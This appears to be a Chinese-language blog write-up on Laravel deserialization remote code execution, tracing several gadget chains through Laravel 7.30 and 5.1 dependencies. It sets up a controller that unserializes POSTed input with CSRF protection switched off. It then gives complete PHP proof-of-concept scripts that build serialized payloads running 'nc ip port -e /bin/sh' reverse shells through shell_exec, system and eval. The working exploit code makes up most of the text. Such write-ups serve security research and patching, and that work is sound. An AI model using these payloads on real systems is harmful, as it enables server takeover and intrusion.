Laravel反序列化实现RCE
前言
静下心来观看的你一定会有收获的
工程创建:
composer create-project laravel/laravel project_name 7.x
// 7.x 为版本号
创建控制器:
在Laravel工程根目录命令行下输入
php artisan make:controller ArticleController
资源控制器:
路由设置:
在routes.php中添加:
Route::resource('/test', 'TestController');
注:laravel7在routes/web.php中添加
编写控制器:
<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;use Illuminate\Routing\Controller;class AdminController extends Controller
{public function index(){return 'post user to unserialize';}public function store(Request $request){$data = $request->input('user');$res = unserialize($data);return 'success';}}
入口URL
http://localhost/laravel51/public/
控制器访问
http://localhost/laravel51/public/admin
报错处理:
post提交失败 返419 | Page Expired
这是Laravel为了防止csrf攻击, 自动为用户进行添加的的token中间件
解决:关闭 VerifyCsrfToken
这个web中间件. (将其注释或删掉)
Laravel 7.30
RCE1
入口
切入口一般在__destruct()方法中
搜索__destruct(),找到一个貌似可用的
class test {// $args是数组function __call($method, $args){$method = ctf;$args = array('666')}
}
test -> ctf('666');
// 当调用一个类的方法,会在这个类中找这个方法,若找不到则调用__call方法
故接下来找可利用的__call方法,而__destruct方法所在那个类作为跳板类
__wakeup半途而废
\vendor\fakerphp\faker\src\Faker\Generator.php
$method
为 “dispatch”,$attributes
可控,继续跟进format方法
发现危险函数call_user_func_array
,继续跟进getFormatter方法
$this->formatters
可控,$format
可控,即call_user_func_array的第一个参数(方法名)可控。
是否是就可以RCE了呢?No!No!No!
发现__wakeup方法把formatters属性置空了,而反序列化需要先经过__wakeup方法,因此这里不可控。链子断掉。
柳暗花明
继续找__call方法
\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php
$this->generator
可控,$name
为固定值dispatch,$arguments
可控,这边call_user_func_array([$this->generator, $name], $arguments);
这种写法,是把$this->generator
作为一个类,调用它的$name
方法,因此这边不能直接控制其调用我们指定的方法。
while (!call_user_func($this->validator, $res));
,$this->validator
可控,$res
作为方法的参数。我们若能控制$res
,就能控制执行方法的参数,即可RCE
而$res = call_user_func_array([$this->generator, $name], $arguments);
。现在有两种思路:
1.找到含有dispatch方法的类,并且其返回结果为可控的字符串
2.找到没有dispatch方法的类,其会自动调用__call方法,找到一个返回结果为可控字符串的__call方法
第一种思路寻找无果,继续跟下去复杂度过高。
尝试第二种方法,找到一个__call
\vendor\fakerphp\faker\src\Faker\DefaultGenerator.php
$this->default
可控
到此整条链子打通
<?php
namespace Faker;class ValidGenerator
{protected $generator;protected $validator;protected $maxRetries;public function __construct(){$this->generator = new DefaultGenerator();$this->validator = "shell_exec";$this->maxRetries = 1;}
}class DefaultGenerator
{protected $default;public function __construct(){$this->default = "nc ip port -e /bin/sh";}
}namespace Illuminate\Broadcasting;use Faker\ValidGenerator;class PendingBroadcast
{protected $events;protected $event; // call方法的参数,可控public function __construct(){$this->events = new ValidGenerator();$this->event = 'p4nic';}
}echo urlencode(serialize(new PendingBroadcast()));
RCE2
继续找__destruct()
\vendor\laravel\framework\src\Illuminate\Routing\PendingResourceRegistration.php
$this->registered
可控,设为false,继续跟进register()
$this->registrar
可控,按照前面套路,这里仍然找一个没有register方法的类,并且有可利用的__call()
方法
找到\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
$method=register
,$parameters=[$this->name, $this->controller, $this->options]
substr($method, 8)
得到空字符’',跟进snake
这边先测试一下
<?php
namespace Illuminate\Validation{class Validator{}
}
namespace Illuminate\Routing{use Illuminate\Validation\Validator;class PendingResourceRegistration{protected $registrar;protected $registered = false;public function __construct(){$this->registrar=new Validator();}}echo urlencode(serialize(new PendingResourceRegistration()));
}
发现最后$rule
为空字符串
$this->extensions[$rule]
可控,继续跟进callExtension
$callback
可控
php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values
会返回数组中所有值组成的数组
因此这里设置$callback = $this->extensions[''] = call_user_func
传进来的三个参数分别设置为:call_user_func、system、命令
到此整条链子打通
<?php
namespace Illuminate\Validation {class Validator{public $extensions = [];public function __construct(){$this->extensions[''] = 'call_user_func';}}
}namespace Illuminate\Routing {use Illuminate\Validation\Validator;class PendingResourceRegistration{protected $registrar;protected $registered = false;protected $name = 'call_user_func';protected $controller = 'system';protected $options;public function __construct(){$this->registrar = new Validator();$this->options = 'nc ip port -e /bin/sh';}}echo urlencode(serialize(new PendingResourceRegistration()));
}
RCE3
接着上面的PendingResourceRegistration类,另外找一个可利用的__call()
方法
\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
$method
为register,跟进__invoke
$this->callable
可控,这边设计为一个数组,第一个元素为某个类对象,第二个参数为方法名,便能调用该类对象的方法,接下来需要找到一个可利用的类
\vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php
$this->mockName
可控,设置为某个不存在的类名即可,进入eval($this->classCode)
,$this->classCode
也可控,设置为我们要执行代码。
到此整条链子打通
<?phpnamespace PHPUnit\Framework\MockObject {class MockClass{private $classCode;private $mockName;public function __construct(){$this->classCode = "system('nc ip port -e /bin/sh');";$this->mockName = 'p4nic';}}
}namespace Illuminate\View {use PHPUnit\Framework\MockObject\MockClass;class InvokableComponentVariable{protected $callable;public function __construct(){$this->callable = array(new MockClass(), 'generate');}}
}namespace Illuminate\Routing {use Illuminate\View\InvokableComponentVariable;class PendingResourceRegistration{protected $registered;protected $registrar;public function __construct(){$this->registered = false;$this->registrar = new InvokableComponentVariable();}}echo urlencode(serialize(new PendingResourceRegistration()));
}
Laravel 5.1
RCE 1
搜索__destruct()方法
\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
$this->_keys
可控,跟进clearAll
$nsKey
是从$this->_keys
获取的键名,因此也可控。
array_key_exists($nsKey, $this->_keys)
成立,遍历$nsKey
这个键对应的值
跟进clearKey
目前关系是这样的array["$nsKey"=>Array["$itemKey"=>"value"]]
,跟进hasKey
这里进行了字符串拼接,$this->_path
可控,若其为对象,则会触发__toString()
方法,本地测试一下
<?php
class test {public function __toString(){system('calc');return 'small test';}
}$a = new test();
echo "This is a ".$a; // 输出This is a small test 并弹出了计算器
因此将此类作为跳板类,继续寻找可利用的__toString()
方法
\vendor\mockery\mockery\library\Mockery\Generator\DefinedTargetClass.php
跟进getName()
$this->rfc
可控,继续将此类当成跳板类,寻找含有可以利用的__call()
方法且没有getName()
方法的类
这边__call()
的参数为$method=getName
。
直接利用上面Laravel 7.30 RCE1的后半段链子
<?phpnamespace Faker {class DefaultGenerator{protected $default;public function __construct(){$this->default = "nc ip port -e /bin/sh";}}class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;public function __construct(){$this->generator = new DefaultGenerator();$this->maxRetries = 1;$this->validator = 'shell_exec';}}
}namespace Mockery\Generator {use Faker\ValidGenerator;class DefinedTargetClass{private $rfc; // 调用$rfc的__call方法public function __construct(){$this->rfc = new ValidGenerator();}}
}namespace {use Mockery\Generator\DefinedTargetClass;class Swift_KeyCache_DiskKeyCache{private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];private $_path; // 调用$_path的__toString方法public function __construct(){$this->_path = new DefinedTargetClass();}}echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
RCE2
继续从上面那条链子找分支
寻找其他可以利用的__toString
方法
\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php
$this->description
可控【注意:这里Deprecated类继承了BaseTag类,Deprecated类中没有description成员,需要到父类中去找】
跟进render发现没有明显可直接利用的点,因此需找一个没有reder方法的类且其__call()
方法可利用(或者找一个可利用的render方法),依旧可以用上文的下半段链子,这里我们再重新找一个
\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php
$method
固定为render,parameters为空,目前还不能直接利用,跟进‘parameters为空,目前还不能直接利用,跟进`parameters为空,目前还不能直接利用,跟进‘this->connection()`
跟进parseConnectionName($name)
$name
为null,跟进getDefaultConnection()
$this->app
可控,因此$name
可控,返回parseConnectionName
,若$name
以['::read', '::write']
结尾则继续处理,否则返回数组[$name, null]
,目前到这部都可控,继续返回上层函数connection()
$this->connections
可控,跟进makeConnection()
发现危险函数call_user_func,$this->extensions
可控,接下来看$config
跟进getConfig($name)
$config = Arr::get($connections, $name)
,跟进get方法
即如果$connection
作为一个数组里面有$name
这个键的话就返回$name
这个键对应的值
$name = $name ?: $this->getDefaultConnection();
之前说到$name
可控,因此这里$name
不变
而$connections = $this->app['config']['database.connections'];
,$this->app
可控,因此$connection
可控
此时call_user_func($this->extensions[$name], $config, $name);
中全部参数可控。
到此这条链打通
<?phpnamespace Illuminate\Database {class DatabaseManager{protected $app;protected $extensions = [];public function __construct(){$this->app['config']['database.default'] = 'nc ip port -e /bin/sh'; // 赋值给$name$this->extensions['nc ip port -e /bin/sh'] = 'call_user_func';$this->app['config']['database.connections'] = array("nc ip port -e /bin/sh" => "system");}}
}namespace phpDocumentor\Reflection\DocBlock\Tags {use Illuminate\Database\DatabaseManager;class BaseTag{protected $description; // 调用$description的__call方法}final class Deprecated extends BaseTag{public function __construct(){$this->description = new DatabaseManager();}}
}namespace {use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;class Swift_KeyCache_DiskKeyCache{private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];private $_path; // 调用$_path的__toString方法public function __construct(){$this->_path = new Deprecated();}}echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
RCE3
继续拓宽上面链子的分支,寻找其他可利用的__toString()
方法
\vendor\phpspec\prophecy\src\Prophecy\Argument\Token\ObjectStateToken.php
$this->util
可控,$this->value
可控,跟进stringify
发现难以利用,因此转为寻找可利用的__call()
方法
\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
跟进snake,$method='stringify'
这边substr($method, 8)
得到’y’
<?php
$delimiter = '_';
$value = 'y';
echo preg_replace('/(.)(?=[A-Z])/u', '$1' . $delimiter, $value); //y
看似很复杂,一波操作下来其实就是把传进去的$value
转为小写并返回,同时static::$snakeCache[$key][$delimiter] = 'y';
,即返回$rule='y'
,继续回到__call
$this->extensions
可控,设置$this->extensions['y']
不为空,进入$this->callExtension
$callback
可控,若$callback
是Closure的实例,进入call_user_func_array
,进而传入危险函数的是个对象,仍无法利用。若$callback
是字符串,进入elseif,跟进callClassBasedExtension
explode()
:使用一个字符串分割另一个字符串返回一个列表,这里我们设计$callback
为xxx@yyy的形式,刚好$class=xxx
,$method=yyy
,this->container
可控,继续跟进make
,发现make是抽象方法。
如果这边继续找__call
方法要么陷入死循环,要么继续使用之前找到的可利用的__call
使得链条冗余。回想起之前的链子找到过一个很简洁的__call
,它返回的东西直接可控。若我们这边让其返回一个对象,即$this->default
设置为一个类对象,那么$this->container->make($class)
即$this->default
这个对象,$method
、$parameters
又是可控的,那么现在的目标就是找到一个可利用的后门类,我们就可以调用它的方法。
找到了一个类貌似能满足\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
别忘了方法的参数我们是可控的,跟进getClassName,class_exists
判断一个类是否定义
这边需要找一个有getName()
方法的类,并把它的name成员设置为一个不存在的类名,才能让class_exists
返回false不进入if语句
这里随便找了一个class Store。
接着跟进getCode()
因此我们只要构造参数为MockDefinition的对象即可,成员code写入Evil代码
到此该链条打通
<?phpnamespace Illuminate\Session {class Store{protected $name;public function __construct(){$this->name = 'p4nic'; // 一个不存在的类}}
}namespace Mockery\Loader {class EvalLoader{} // 后门类
}namespace Mockery\Generator {use Illuminate\Session\Store;class MockDefinition{protected $code;protected $config;public function __construct(){$this->code = "<?php system('nc ip port -e /bin/sh');?>";$this->config = new Store();}}
}namespace Faker {use Mockery\Loader\EvalLoader;class DefaultGenerator{protected $default;public function __construct(){$this->default = new EvalLoader();}}
}namespace Illuminate\Validation {use Faker\DefaultGenerator;class Validator{public $container;protected $extensions;public function __construct(){$this->extensions['y'] = 'xxx@load';$this->container = new DefaultGenerator();}}
}namespace Prophecy\Argument\Token {use Illuminate\Validation\Validator;use Mockery\Generator\MockDefinition;class ObjectStateToken{private $util;private $value;public function __construct(){$this->util = new Validator();$this->value = new MockDefinition();}}
}namespace {use Prophecy\Argument\Token\ObjectStateToken;class Swift_KeyCache_DiskKeyCache{private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];private $_path; // 调用$_path的__toString方法public function __construct(){$this->_path = new ObjectStateToken();}}echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
Laravel反序列化实现RCE相关推荐
- rmi反序列化导致rce漏洞修复_企业安全05-Fastjson =1.2.47反序列化RCE漏洞(CNVD-2019-22238)...
Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...
- rmi反序列化导致rce漏洞修复_JAVA反序列化漏洞解决办法
一.漏洞描述: 近期,反序列化任意代码执行漏洞持续发酵,越来越多的系统被爆出存在此漏洞.Apache Commons工具集广泛应用于JAVA技术平台,存在Apache Commons Componen ...
- rmi反序列化导致rce漏洞修复_RMI反序列化漏洞分析
原创:Xman21合天智汇 一.RMI简介 首先看一下RMI在wikipedia上的描述: Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Ja ...
- php laravel框架 rce分析 cve-2018-15133
本文将记录在 APP_KEY 泄露情况下的 Laravel RCE 漏洞.该漏洞可以分别在两个地方触发,一个是直接添加在 cookie 字段,例如: Cookie: ATTACK=payload :另 ...
- Apache Shiro<=1.2.4反序列化RCE漏洞
版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...
- CVE-2021-3129:Laravel远程代码漏洞复现分析
本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-2021-3129 Tag: [[php phar]] | [[php deserialize]] ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...
- Laravel 漏洞合集
Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...
- 【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)
前言: Apache Shiro是一款开源安全框架,提供身份验证.授权.密码学和会话管理.Shiro框架直观.易用,同时也能提供健壮的安全性. 影响版本: Apache Shiro <= 1.2 ...
最新文章
- Python字典部分源码分析,字典是无序的
- 赛道公布之后,让我们一起DISS组委会
- python资料书-史上最全Python从入门到资深书籍资料分享!
- android+Unity3D游戏开发之简单的物体运动
- 复旦大学肖仰华教授:知识图谱与认知智能 | 附PPT下载
- java ajax 获取headers_Ajax获取Response头信息
- windows10搜索网络计算机,教你如何关闭Win10搜索的网络搜索功能
- RMAN备份与恢复(三)--备份相关概念
- Megcup2017 Dogfood
- [18/11/22] 将点分十进制的IP地址化成二进制输出
- 学习资料收集:计算机系统基础
- 概率论——随机变量和的期望
- php gd保存图片,PHP: GD - Manual
- 显卡虚拟化--最强实践
- 人生进度条百分之20_1分钟get技能:缺了“进度条”,你注定和80%的失败者一样实现不了人生目标...
- 新手如何零基础操作让亚马逊无货源店铺如何单月3-5万
- MyBatis-Plus--自动填充的用法
- shell中的$IFS变量和$*
- 【课程设计】僵尸大战植物 Zombies vs.Plants
- ACL 2017 最佳长论文,带你创造一门优雅的新语言
热门文章
- android广告视频播放,一种解决android广告视频启播前黑屏的方法与流程
- 饥荒时用java写的吗_【图片】类与对象面向对象编程【饥荒mod制作吧】_百度贴吧...
- 何苦做游戏-- 一位网游制作人的成长故事
- CC2530设置发射功率
- 9、STM32 SDIO FATFS(SD卡)
- 【转载】使用tcp.validnode_checking允许、限制机器访问数据库
- Google终于改变思路,向百度看齐?
- @NotNull注解不生效
- java的@NotNull怎么用
- 如何实现安卓二维码扫码功能